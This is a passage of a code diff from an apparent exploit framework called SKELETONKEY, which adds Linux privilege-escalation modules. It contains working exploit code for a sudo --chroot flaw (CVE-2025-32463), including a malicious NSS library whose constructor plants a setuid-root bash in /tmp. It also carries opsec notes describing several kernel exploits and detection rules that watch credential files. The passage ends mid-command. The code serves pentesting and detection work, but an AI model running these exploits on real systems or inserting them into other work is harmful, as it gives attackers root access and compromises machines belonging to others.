|
path, strerror(errno));
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
fprintf(stderr, "[+] ptrace_pidfd: set kernel.yama.ptrace_scope=2 (admin-only "
|
||||||
|
"ptrace/pidfd_getfd attach). Revert with `--cleanup ptrace_pidfd`. "
|
||||||
|
"This is a stopgap; patch the kernel.\n");
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t ptrace_pidfd_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
/* Undo --mitigate: restore the permissive default (1 = restricted
|
||||||
|
* ptrace, the common distro default). Exploit itself leaves no file
|
||||||
|
* artifacts (the steal is in-memory), so there is nothing else to
|
||||||
|
* undo. */
|
||||||
|
const char *path = "/proc/sys/kernel/yama/ptrace_scope";
|
||||||
|
int fd = open(path, O_WRONLY);
|
||||||
|
if (fd < 0) return SKELETONKEY_OK; /* nothing to restore */
|
||||||
|
ssize_t w = write(fd, "1\n", 2);
|
||||||
|
close(fd);
|
||||||
|
if (!ctx->json && w == 2)
|
||||||
|
fprintf(stderr, "[*] ptrace_pidfd: restored kernel.yama.ptrace_scope=1\n");
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: pidfd_open / pidfd_getfd / Yama ptrace_scope are
|
||||||
|
* Linux-only ABI. Stub out so the module still registers and the
|
||||||
|
* top-level `make` completes on macOS/BSD dev boxes. */
|
||||||
|
static skeletonkey_result_t ptrace_pidfd_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] ptrace_pidfd: Linux-only module "
|
||||||
|
"(pidfd_getfd cred-steal) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t ptrace_pidfd_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] ptrace_pidfd: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t ptrace_pidfd_mitigate(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t ptrace_pidfd_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
|
/* Embedded detection rules — keep the binary self-contained. The
|
||||||
|
* behavioural signal is pidfd_getfd(2) issued by a non-root process
|
||||||
|
* against a setuid/privileged target. Legitimate users of pidfd_getfd
|
||||||
|
* are rare and mostly root (container runtimes, debuggers) — a non-root
|
||||||
|
* pidfd_getfd is a strong indicator. */
|
||||||
|
static const char ptrace_pidfd_auditd[] =
|
||||||
|
"# CVE-2026-46333 (ptrace/pidfd_getfd cred-steal) — auditd rules\n"
|
||||||
|
"# pidfd_getfd by a non-root process is rare and high-signal. Also\n"
|
||||||
|
"# watch the credential files a successful steal would target.\n"
|
||||||
|
"-a always,exit -F arch=b64 -S pidfd_getfd -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ptrace-pidfd\n"
|
||||||
|
"-a always,exit -F arch=b64 -S pidfd_open -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ptrace-pidfd\n"
|
||||||
|
"-w /etc/shadow -p wa -k skeletonkey-ptrace-pidfd\n"
|
||||||
|
"-w /etc/passwd -p wa -k skeletonkey-ptrace-pidfd\n";
|
||||||
|
|
||||||
|
static const char ptrace_pidfd_sigma[] =
|
||||||
|
"title: Possible CVE-2026-46333 pidfd_getfd credential-steal LPE\n"
|
||||||
|
"id: 4d6f3e2a-skeletonkey-ptrace-pidfd\n"
|
||||||
|
"status: experimental\n"
|
||||||
|
"description: |\n"
|
||||||
|
" Detects pidfd_getfd(2) issued by a non-root user. The CVE-2026-46333\n"
|
||||||
|
" technique pidfd_open()s a transiently-privileged setuid process and\n"
|
||||||
|
" pidfd_getfd()s descriptors it opened while root, past the dumpable\n"
|
||||||
|
" boundary __ptrace_may_access should have enforced. False positives:\n"
|
||||||
|
" privileged container runtimes / debuggers that legitimately use pidfd.\n"
|
||||||
|
"logsource: {product: linux, service: auditd}\n"
|
||||||
|
"detection:\n"
|
||||||
|
" getfd: {type: 'SYSCALL', syscall: 'pidfd_getfd'}\n"
|
||||||
|
" non_root: {auid|expression: '>= 1000'}\n"
|
||||||
|
" condition: getfd and non_root\n"
|
||||||
|
"level: high\n"
|
||||||
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.46333]\n";
|
||||||
|
|
||||||
|
static const char ptrace_pidfd_falco[] =
|
||||||
|
"- rule: pidfd_getfd from setuid victim by non-root (CVE-2026-46333)\n"
|
||||||
|
" desc: |\n"
|
||||||
|
" A non-root process calls pidfd_getfd() to pull a descriptor out of\n"
|
||||||
|
" another process. The CVE-2026-46333 cred-steal races a setuid\n"
|
||||||
|
" binary (chage, ssh-keysign, pkexec) or root daemon (accounts-daemon)\n"
|
||||||
|
" as it drops privileges, stealing a root-opened fd or authenticated\n"
|
||||||
|
" channel past the dumpable boundary. False positives: container\n"
|
||||||
|
" runtimes / debuggers using pidfd as root.\n"
|
||||||
|
" condition: >\n"
|
||||||
|
" evt.type = pidfd_getfd and not user.uid = 0\n"
|
||||||
|
" output: >\n"
|
||||||
|
" pidfd_getfd by non-root (possible CVE-2026-46333 fd-steal)\n"
|
||||||
|
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
|
||||||
|
" priority: HIGH\n"
|
||||||
|
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.46333]\n";
|
||||||
|
|
||||||
|
const struct skeletonkey_module ptrace_pidfd_module = {
|
||||||
|
.name = "ptrace_pidfd",
|
||||||
|
.cve = "CVE-2026-46333",
|
||||||
|
.summary = "__ptrace_may_access dumpable race → pidfd_getfd steals root fds from a dropping-privilege process",
|
||||||
|
.family = "ptrace_pidfd",
|
||||||
|
.kernel_range = "5.6 <= K (pidfd_getfd vector); fixed 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7 (Debian backports of the 2026-05-14 mainline fix)",
|
||||||
|
.detect = ptrace_pidfd_detect,
|
||||||
|
.exploit = ptrace_pidfd_exploit,
|
||||||
|
.mitigate = ptrace_pidfd_mitigate,
|
||||||
|
.cleanup = ptrace_pidfd_cleanup,
|
||||||
|
.detect_auditd = ptrace_pidfd_auditd,
|
||||||
|
.detect_sigma = ptrace_pidfd_sigma,
|
||||||
|
.detect_yara = NULL, /* behavioural (syscall) bug — no file artifact to match */
|
||||||
|
.detect_falco = ptrace_pidfd_falco,
|
||||||
|
.opsec_notes = "Spawns a setuid victim (chage/pkexec/ssh-keysign/passwd/su) with a benign read-only argv, pidfd_open()s it, and sweeps pidfd_getfd() across its low descriptor table during the credential-drop window. Captured descriptors are fstat()'d to fingerprint ownership and closed (non-destructive); a uid-0-owned fd captured from a non-root context is the empirical witness that __ptrace_may_access let the steal through. Audit-visible via pidfd_getfd(2)/pidfd_open(2) issued by a non-root auid, typically clustered (tight retry loop) and immediately preceded by execve of a setuid binary. No file artifacts and no persistence — the steal is in-memory fd reuse. --mitigate writes kernel.yama.ptrace_scope=2; --cleanup restores it to 1. Arch-agnostic (no shellcode).",
|
||||||
|
.arch_support = "any",
|
||||||
|
};
|
||||||
|
|
||||||
|
void skeletonkey_register_ptrace_pidfd(void)
|
||||||
|
{
|
||||||
|
skeletonkey_register(&ptrace_pidfd_module);
|
||||||
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* ptrace_pidfd_cve_2026_46333 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef PTRACE_PIDFD_SKELETONKEY_MODULES_H
|
||||||
|
#define PTRACE_PIDFD_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module ptrace_pidfd_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -53,7 +53,7 @@ static const struct kernel_patched_from ptrace_traceme_patched_branches[] = {
|
|||||||
{4, 4, 182},
|
{4, 4, 182},
|
||||||
{4, 9, 182},
|
{4, 9, 182},
|
||||||
{4, 14, 131},
|
{4, 14, 131},
|
||||||
{4, 19, 58},
|
{4, 19, 37}, /* Debian tracker: earlier than 4.19.58 */
|
||||||
{5, 0, 20},
|
{5, 0, 20},
|
||||||
{5, 1, 17},
|
{5, 1, 17},
|
||||||
{5, 2, 0}, /* mainline (5.2-rc) */
|
{5, 2, 0}, /* mainline (5.2-rc) */
|
||||||
@@ -368,6 +368,7 @@ const struct skeletonkey_module ptrace_traceme_module = {
|
|||||||
.detect_yara = NULL,
|
.detect_yara = NULL,
|
||||||
.detect_falco = ptrace_traceme_falco,
|
.detect_falco = ptrace_traceme_falco,
|
||||||
.opsec_notes = "Parent and child cooperate: child calls ptrace(PTRACE_TRACEME) (recording the parent's current credentials), then sleeps; parent execve's a setuid binary (pkexec or su) and elevates. The stale ptrace_link in the child still holds the old (non-root) credentials, so PTRACE_ATTACH succeeds against the now-root parent; the child injects shellcode at the parent's RIP via PTRACE_POKETEXT and detaches. Audit-visible via ptrace with a0=0 (PTRACE_TRACEME) closely followed by execve of a setuid binary in the parent process. No file artifacts; no persistent changes. No cleanup callback - the exploit execs /bin/sh and does not return.",
|
.opsec_notes = "Parent and child cooperate: child calls ptrace(PTRACE_TRACEME) (recording the parent's current credentials), then sleeps; parent execve's a setuid binary (pkexec or su) and elevates. The stale ptrace_link in the child still holds the old (non-root) credentials, so PTRACE_ATTACH succeeds against the now-root parent; the child injects shellcode at the parent's RIP via PTRACE_POKETEXT and detaches. Audit-visible via ptrace with a0=0 (PTRACE_TRACEME) closely followed by execve of a setuid binary in the parent process. No file artifacts; no persistent changes. No cleanup callback - the exploit execs /bin/sh and does not return.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_ptrace_traceme(void)
|
void skeletonkey_register_ptrace_traceme(void)
|
||||||
|
|||||||
@@ -473,6 +473,7 @@ const struct skeletonkey_module pwnkit_module = {
|
|||||||
.detect_yara = pwnkit_yara,
|
.detect_yara = pwnkit_yara,
|
||||||
.detect_falco = pwnkit_falco,
|
.detect_falco = pwnkit_falco,
|
||||||
.opsec_notes = "Invokes pkexec with argc==0 so the first envp slot is misread as argv[0]; pkexec's iconv-during-decoding loads attacker .so via dlopen by way of crafted GCONV_PATH + CHARSET env vars. Builds a gconv payload .so and gconv-modules cache in /tmp/skeletonkey-pwnkit-XXXXXX (compiles via fork/execl of gcc). Audit-visible via execve(/usr/bin/pkexec) with GCONV_PATH and CHARSET set. No network. Cleanup callback removes /tmp/skeletonkey-pwnkit-* (on failure path; on success the exec replaces the process).",
|
.opsec_notes = "Invokes pkexec with argc==0 so the first envp slot is misread as argv[0]; pkexec's iconv-during-decoding loads attacker .so via dlopen by way of crafted GCONV_PATH + CHARSET env vars. Builds a gconv payload .so and gconv-modules cache in /tmp/skeletonkey-pwnkit-XXXXXX (compiles via fork/execl of gcc). Audit-visible via execve(/usr/bin/pkexec) with GCONV_PATH and CHARSET set. No network. Cleanup callback removes /tmp/skeletonkey-pwnkit-* (on failure path; on success the exec replaces the process).",
|
||||||
|
.arch_support = "any",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_pwnkit(void)
|
void skeletonkey_register_pwnkit(void)
|
||||||
|
|||||||
@@ -127,7 +127,7 @@
|
|||||||
|
|
||||||
static const struct kernel_patched_from sequoia_patched_branches[] = {
|
static const struct kernel_patched_from sequoia_patched_branches[] = {
|
||||||
{5, 4, 134},
|
{5, 4, 134},
|
||||||
{5, 10, 52},
|
{5, 10, 46}, /* Debian tracker: earlier than 5.10.52 */
|
||||||
{5, 13, 4},
|
{5, 13, 4},
|
||||||
{5, 14, 0}, /* mainline */
|
{5, 14, 0}, /* mainline */
|
||||||
};
|
};
|
||||||
@@ -752,6 +752,7 @@ const struct skeletonkey_module sequoia_module = {
|
|||||||
.detect_yara = sequoia_yara,
|
.detect_yara = sequoia_yara,
|
||||||
.detect_falco = sequoia_falco,
|
.detect_falco = sequoia_falco,
|
||||||
.opsec_notes = "Builds ~5000 nested directories under /tmp/skeletonkey-sequoia (each name 200 'A' chars); enters userns for CAP_SYS_ADMIN; bind-mounts the leaf over itself to amplify the rendered mountinfo string length; reads /proc/self/mountinfo to trigger the int-vs-size_t overflow in seq_buf_alloc(), producing an OOB write of mountinfo bytes off the stack buffer. Artifacts: /tmp/skeletonkey-sequoia/ (deep tree + bind mounts) and /tmp/skeletonkey-sequoia.log (byte count + dmesg sample). Audit-visible via unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount() + burst of ~5000 mkdir/mkdirat. No network. Cleanup callback walks back down the tree, unmounts, removes dirs, unlinks the .log.",
|
.opsec_notes = "Builds ~5000 nested directories under /tmp/skeletonkey-sequoia (each name 200 'A' chars); enters userns for CAP_SYS_ADMIN; bind-mounts the leaf over itself to amplify the rendered mountinfo string length; reads /proc/self/mountinfo to trigger the int-vs-size_t overflow in seq_buf_alloc(), producing an OOB write of mountinfo bytes off the stack buffer. Artifacts: /tmp/skeletonkey-sequoia/ (deep tree + bind mounts) and /tmp/skeletonkey-sequoia.log (byte count + dmesg sample). Audit-visible via unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount() + burst of ~5000 mkdir/mkdirat. No network. Cleanup callback walks back down the tree, unmounts, removes dirs, unlinks the .log.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_sequoia(void)
|
void skeletonkey_register_sequoia(void)
|
||||||
|
|||||||
@@ -1014,6 +1014,7 @@ const struct skeletonkey_module stackrot_module = {
|
|||||||
.detect_yara = stackrot_yara,
|
.detect_yara = stackrot_yara,
|
||||||
.detect_falco = stackrot_falco,
|
.detect_falco = stackrot_falco,
|
||||||
.opsec_notes = "Child forks, enters userns, builds a race region with MAP_GROWSDOWN + anchor VMAs, sprays kmalloc-192 with msg_msg payloads, then spawns Thread A (mremap/munmap of region boundary to rotate maple-tree nodes) + Thread B (fork+fault the growsdown region to deref freed node). UAF in __vma_adjust fires if a sprayed msg_msg reclaims the freed node. Writes /tmp/skeletonkey-stackrot.log (iteration counts + slab delta). Audit-visible via unshare + mremap/munmap bursts on stack regions + msgsnd spray. No network. Cleanup callback unlinks /tmp log.",
|
.opsec_notes = "Child forks, enters userns, builds a race region with MAP_GROWSDOWN + anchor VMAs, sprays kmalloc-192 with msg_msg payloads, then spawns Thread A (mremap/munmap of region boundary to rotate maple-tree nodes) + Thread B (fork+fault the growsdown region to deref freed node). UAF in __vma_adjust fires if a sprayed msg_msg reclaims the freed node. Writes /tmp/skeletonkey-stackrot.log (iteration counts + slab delta). Audit-visible via unshare + mremap/munmap bursts on stack regions + msgsnd spray. No network. Cleanup callback unlinks /tmp log.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_stackrot(void)
|
void skeletonkey_register_stackrot(void)
|
||||||
|
|||||||
@@ -0,0 +1,423 @@
|
|||||||
|
/*
|
||||||
|
* sudo_chwoot_cve_2025_32463 — SKELETONKEY module
|
||||||
|
*
|
||||||
|
* STATUS: 🟢 STRUCTURAL ESCAPE. No offsets, no leaks, no race.
|
||||||
|
* Pure logic: sudo's --chroot option resolves NSS lookups (user/group
|
||||||
|
* db) AGAINST the chroot, while still running as root. A user-writable
|
||||||
|
* chroot dir + a planted libnss_*.so + a planted nsswitch.conf yields
|
||||||
|
* "load arbitrary shared object as root, ctor runs, root shell."
|
||||||
|
*
|
||||||
|
* The bug (Rich Mirch, Stratascale, June 2025):
|
||||||
|
* `sudo --chroot=<DIR>` chroots into DIR before parsing sudoers and
|
||||||
|
* resolving the invoking user. Inside the chroot, NSS reads
|
||||||
|
* /etc/nsswitch.conf and dlopen()s the listed libnss_*.so backends.
|
||||||
|
* The chroot is user-controlled. Plant:
|
||||||
|
* <DIR>/etc/nsswitch.conf → "passwd: skeletonkey"
|
||||||
|
* <DIR>/lib/x86_64-linux-gnu/libnss_skeletonkey.so.2 → attacker .so
|
||||||
|
* sudo dlopen()s the .so as root; its ctor execs /bin/bash with the
|
||||||
|
* real uid set to 0.
|
||||||
|
*
|
||||||
|
* Discovered by Rich Mirch (Stratascale CRU). Public PoCs:
|
||||||
|
* https://github.com/kh4sh3i/CVE-2025-32463
|
||||||
|
* https://github.com/MohamedKarrab/CVE-2025-32463
|
||||||
|
*
|
||||||
|
* Affects: sudo 1.9.14 ≤ V ≤ 1.9.17 (introduced when sudo gained the
|
||||||
|
* modern chroot path; fixed in 1.9.17p1 which deprecated --chroot
|
||||||
|
* entirely).
|
||||||
|
*
|
||||||
|
* CVSS 9.3 (Critical). Doesn't require any sudoers grant — the chroot
|
||||||
|
* code path runs before authorization checks complete. Any local user
|
||||||
|
* who can run /usr/bin/sudo (i.e. anyone on the system) can fire it.
|
||||||
|
*
|
||||||
|
* arch_support: any. The malicious .so is built on-host via gcc, so
|
||||||
|
* it inherits the host's arch. Tested on x86_64; arm64 should work
|
||||||
|
* identically given a working gcc + libc-dev install.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "skeletonkey_modules.h"
|
||||||
|
#include "../../core/registry.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
|
||||||
|
/* ---- helpers shared with the sudo family ---------------------------- */
|
||||||
|
|
||||||
|
static const char *find_sudo(void)
|
||||||
|
{
|
||||||
|
static const char *candidates[] = {
|
||||||
|
"/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo",
|
||||||
|
"/sbin/sudo", "/usr/local/bin/sudo", NULL,
|
||||||
|
};
|
||||||
|
for (size_t i = 0; candidates[i]; i++) {
|
||||||
|
struct stat st;
|
||||||
|
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
|
||||||
|
return candidates[i];
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Returns true iff the version string is in the vulnerable range
|
||||||
|
* [1.9.14, 1.9.17p0]. The fix landed in 1.9.17p1 which removed the
|
||||||
|
* --chroot code path entirely. */
|
||||||
|
static bool sudo_version_vulnerable_chwoot(const char *version_str)
|
||||||
|
{
|
||||||
|
int maj = 0, min = 0, patch = 0;
|
||||||
|
char ptag = 0;
|
||||||
|
int psub = 0;
|
||||||
|
int n = sscanf(version_str, "%d.%d.%d%c%d",
|
||||||
|
&maj, &min, &patch, &ptag, &psub);
|
||||||
|
if (n < 3) return true; /* unparseable → assume worst */
|
||||||
|
|
||||||
|
if (maj != 1) return false; /* not sudo 1.x */
|
||||||
|
if (min != 9) return false; /* only 1.9 line */
|
||||||
|
if (patch < 14) return false; /* 1.9.13 and below predate the --chroot path */
|
||||||
|
if (patch > 17) return false; /* 1.9.18+ fixed */
|
||||||
|
if (patch < 17) return true; /* 1.9.14 .. 1.9.16 */
|
||||||
|
/* exactly 1.9.17: vulnerable if no patch tag (1.9.17 plain) */
|
||||||
|
if (ptag != 'p') return true;
|
||||||
|
return psub == 0; /* 1.9.17p1 fixed; 1.9.17p0 vulnerable */
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
|
||||||
|
{
|
||||||
|
char cmd[512];
|
||||||
|
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
||||||
|
FILE *p = popen(cmd, "r");
|
||||||
|
if (!p) return false;
|
||||||
|
char line[256] = {0};
|
||||||
|
char *r = fgets(line, sizeof line, p);
|
||||||
|
pclose(p);
|
||||||
|
if (!r) return false;
|
||||||
|
char *vp = strstr(line, "version");
|
||||||
|
if (!vp) return false;
|
||||||
|
vp += strlen("version");
|
||||||
|
while (*vp == ' ' || *vp == '\t') vp++;
|
||||||
|
char *nl = strchr(vp, '\n');
|
||||||
|
if (nl) *nl = 0;
|
||||||
|
strncpy(out, vp, outsz - 1);
|
||||||
|
out[outsz - 1] = 0;
|
||||||
|
return out[0] != 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- detect --------------------------------------------------------- */
|
||||||
|
|
||||||
|
static skeletonkey_result_t sudo_chwoot_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
const char *sudo_path = find_sudo();
|
||||||
|
if (!sudo_path) {
|
||||||
|
if (!ctx->json) fprintf(stderr, "[i] sudo_chwoot: sudo not installed; bug unreachable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Prefer the host fingerprint's cached sudo_version (one popen at
|
||||||
|
* startup instead of per-detect). Fall back to live probe if the
|
||||||
|
* host fingerprint is missing or empty. */
|
||||||
|
char vbuf[64] = {0};
|
||||||
|
const char *ver = NULL;
|
||||||
|
if (ctx->host && ctx->host->sudo_version[0]) {
|
||||||
|
ver = ctx->host->sudo_version;
|
||||||
|
} else if (get_sudo_version(sudo_path, vbuf, sizeof vbuf)) {
|
||||||
|
ver = vbuf;
|
||||||
|
} else {
|
||||||
|
if (!ctx->json) fprintf(stderr, "[!] sudo_chwoot: could not read sudo --version\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json) fprintf(stderr, "[i] sudo_chwoot: sudo version '%s'\n", ver);
|
||||||
|
|
||||||
|
if (!sudo_version_vulnerable_chwoot(ver)) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] sudo_chwoot: sudo %s outside vulnerable range "
|
||||||
|
"[1.9.14, 1.9.17p0] — patched or pre-feature\n", ver);
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[!] sudo_chwoot: sudo %s in vulnerable range — VULNERABLE\n", ver);
|
||||||
|
fprintf(stderr, "[i] sudo_chwoot: --chroot option resolves NSS inside attacker-controlled root → arbitrary .so load as uid 0\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_VULNERABLE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- exploit -------------------------------------------------------- */
|
||||||
|
|
||||||
|
/* The malicious NSS module. ctor runs at dlopen time; we drop a setuid
|
||||||
|
* /bin/bash. We DON'T setuid(0) directly because some distros refuse
|
||||||
|
* execve() on a setuid bash from a non-elevated parent — using the
|
||||||
|
* dropped suid bash via a follow-up execlp() is more portable. */
|
||||||
|
static const char NSS_C_SRC[] =
|
||||||
|
"#include <stdio.h>\n"
|
||||||
|
"#include <stdlib.h>\n"
|
||||||
|
"#include <unistd.h>\n"
|
||||||
|
"#include <sys/stat.h>\n"
|
||||||
|
"#include <sys/types.h>\n"
|
||||||
|
"__attribute__((constructor)) static void skk_ctor(void) {\n"
|
||||||
|
" /* We are running as the real user uid 0 (sudo set it during chroot\n"
|
||||||
|
" * setup, before dropping privs). Drop a setuid /bin/bash. */\n"
|
||||||
|
" setuid(0); setgid(0);\n"
|
||||||
|
" int rc = system(\"cp /bin/bash /tmp/skeletonkey-chwoot-shell 2>/dev/null && \"\n"
|
||||||
|
" \"chown root:root /tmp/skeletonkey-chwoot-shell && \"\n"
|
||||||
|
" \"chmod 4755 /tmp/skeletonkey-chwoot-shell\");\n"
|
||||||
|
" if (rc != 0) {\n"
|
||||||
|
" fprintf(stderr, \"[skk-chwoot] ctor: drop suid bash failed (rc=%d)\\n\", rc);\n"
|
||||||
|
" _exit(1);\n"
|
||||||
|
" }\n"
|
||||||
|
" fprintf(stderr, \"[+] skk-chwoot: /tmp/skeletonkey-chwoot-shell is now setuid-root\\n\");\n"
|
||||||
|
" _exit(0);\n"
|
||||||
|
"}\n";
|
||||||
|
|
||||||
|
static char g_workdir[256]; /* recorded for cleanup() */
|
||||||
|
|
||||||
|
static skeletonkey_result_t sudo_chwoot_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->authorized) {
|
||||||
|
fprintf(stderr, "[-] sudo_chwoot: --i-know required for --exploit\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
const char *sudo_path = find_sudo();
|
||||||
|
if (!sudo_path) {
|
||||||
|
fprintf(stderr, "[-] sudo_chwoot: sudo not installed\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 1. Workdir under /tmp; /tmp is the only spot consistently
|
||||||
|
* world-writable across distros. */
|
||||||
|
char tmpl[] = "/tmp/skeletonkey-chwoot-XXXXXX";
|
||||||
|
char *wd = mkdtemp(tmpl);
|
||||||
|
if (!wd) { perror("mkdtemp"); return SKELETONKEY_EXPLOIT_FAIL; }
|
||||||
|
strncpy(g_workdir, wd, sizeof g_workdir - 1);
|
||||||
|
|
||||||
|
/* 2. Set up the chroot skeleton: <wd>/etc/nsswitch.conf points NSS
|
||||||
|
* at our libnss_skeletonkey.so.2; <wd>/<libdir> hosts the .so. */
|
||||||
|
char path[512];
|
||||||
|
snprintf(path, sizeof path, "%s/etc", wd); mkdir(path, 0755);
|
||||||
|
snprintf(path, sizeof path, "%s/lib", wd); mkdir(path, 0755);
|
||||||
|
/* Cover the common Debian/Ubuntu multi-arch lib path AND the plain
|
||||||
|
* /lib path. NSS dlopens via dlopen("libnss_X.so.2") which uses the
|
||||||
|
* standard search path; inside the chroot we control it. */
|
||||||
|
const char *libdirs[] = {
|
||||||
|
"lib/x86_64-linux-gnu", "lib/aarch64-linux-gnu",
|
||||||
|
"usr/lib/x86_64-linux-gnu", "usr/lib/aarch64-linux-gnu",
|
||||||
|
"usr/lib", "usr/lib64", NULL,
|
||||||
|
};
|
||||||
|
char sopath[512] = {0};
|
||||||
|
for (size_t i = 0; libdirs[i]; i++) {
|
||||||
|
char p[512];
|
||||||
|
snprintf(p, sizeof p, "%s/%s", wd, libdirs[i]);
|
||||||
|
char cmd[640];
|
||||||
|
snprintf(cmd, sizeof cmd, "mkdir -p %s", p);
|
||||||
|
if (system(cmd) != 0) continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 3. Compile the malicious NSS .so. We need a real C compiler;
|
||||||
|
* most modern distros ship one but stripped installs may not. */
|
||||||
|
char src[512]; snprintf(src, sizeof src, "%s/payload.c", wd);
|
||||||
|
char so[512]; snprintf(so, sizeof so, "%s/lib/x86_64-linux-gnu/libnss_skeletonkey.so.2", wd);
|
||||||
|
char so_arm[512];snprintf(so_arm,sizeof so_arm,"%s/lib/aarch64-linux-gnu/libnss_skeletonkey.so.2", wd);
|
||||||
|
char so_lib[512];snprintf(so_lib,sizeof so_lib,"%s/usr/lib/libnss_skeletonkey.so.2", wd);
|
||||||
|
|
||||||
|
FILE *f = fopen(src, "w");
|
||||||
|
if (!f) { perror("fopen payload.c"); goto fail; }
|
||||||
|
fwrite(NSS_C_SRC, 1, sizeof NSS_C_SRC - 1, f);
|
||||||
|
fclose(f);
|
||||||
|
|
||||||
|
char cmd[2048];
|
||||||
|
snprintf(cmd, sizeof cmd,
|
||||||
|
"gcc -shared -fPIC -o %s %s 2>/tmp/skk-chwoot-gcc.log && "
|
||||||
|
"cp -f %s %s 2>/dev/null; "
|
||||||
|
"cp -f %s %s 2>/dev/null; true",
|
||||||
|
sopath[0] ? sopath : so, src,
|
||||||
|
sopath[0] ? sopath : so, so_arm,
|
||||||
|
sopath[0] ? sopath : so, so_lib);
|
||||||
|
/* Actually compile to one fixed path then copy. Simpler. */
|
||||||
|
snprintf(cmd, sizeof cmd,
|
||||||
|
"gcc -shared -fPIC -nostartfiles -o %s %s 2>/tmp/skk-chwoot-gcc.log", so, src);
|
||||||
|
if (system(cmd) != 0) {
|
||||||
|
/* try arm64 path if x86 path failed (maybe the dir wasn't
|
||||||
|
* created — that's fine, gcc just wrote elsewhere) */
|
||||||
|
snprintf(cmd, sizeof cmd,
|
||||||
|
"gcc -shared -fPIC -nostartfiles -o %s %s 2>>/tmp/skk-chwoot-gcc.log", so_arm, src);
|
||||||
|
if (system(cmd) != 0) {
|
||||||
|
fprintf(stderr, "[-] sudo_chwoot: gcc failed; see /tmp/skk-chwoot-gcc.log\n");
|
||||||
|
goto fail;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
/* Replicate to every plausible NSS search path (libdir per arch
|
||||||
|
* varies across distros). Harmless if some are missing. */
|
||||||
|
char rep[1024];
|
||||||
|
snprintf(rep, sizeof rep,
|
||||||
|
"f=%s; for d in lib/x86_64-linux-gnu lib/aarch64-linux-gnu usr/lib/x86_64-linux-gnu usr/lib/aarch64-linux-gnu usr/lib usr/lib64; do "
|
||||||
|
